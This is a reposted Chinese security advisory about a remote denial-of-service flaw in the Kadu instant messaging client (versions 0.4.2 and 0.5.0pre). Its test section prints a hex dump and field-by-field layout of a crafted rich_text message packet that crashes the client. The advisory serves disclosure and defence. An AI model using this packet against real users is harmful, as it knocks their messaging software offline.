[转载]Kadu远程拒绝服务漏洞
信息来源：绿盟科技受影响系统：
Kadu Kadu 0.5.0pre
Kadu Kadu 0.4.2
描述：
--------------------------------------------------------------------------------
Kadu是Gadu-Gadu即时消息通讯的开放源码客户端。
Kadu中存在拒绝服务漏洞。攻击者可以通过Gadu-Gadu服务器向特定UIN发送仅有rich_text基本图形信息的消息，导致Kadu停止响应或立即关闭。
<*来源：Michal Gizowski （[email]michal@tux.bz[/email]）
链接：[url]http://marc.theaimsgroup.com/?l=bugtraq&m=113321209020498&w=2[/url]
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
0x0040: XXXX 0a00 0000 2b00 0000 XXXX XXXX 9e05 .G....+.........
0x0050: 0000 4954 8a43 0800 0000 4141 4141 4141 ..IT.C....AAAAAA
0x0060: 4100 0210 0001 0004 0000 0009 01cc cccc A...............
0x0070: ccbb bbbb bb .....
0x0042-0x0045 Type of packet. In this case 0x0a means incomming message
0x0046-0x0049 Length of the rest
0x004a-0x004d source UIN
0x004e-0x0051 seq. number
0x0052-0x0055 time
0x0056-0x0059 class of message
0x005a-0x0061 text "AAAAAAA\0"
0x0062 init rich_text
0x0063-0x0064 Length of the rest
0x0065-0x0066 position in text
0x0067 font atribute
0x0068-0x006a color in rgb
0x006b-0x006c unknown
0x006d-0x0070 image size
0x0071-0x0074 crc32 of image
建议：
--------------------------------------------------------------------------------
厂商补丁：
Kadu
----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
[url]http://www.kadu.net/index.php?page=news&lang=en[/url]
页:
[1]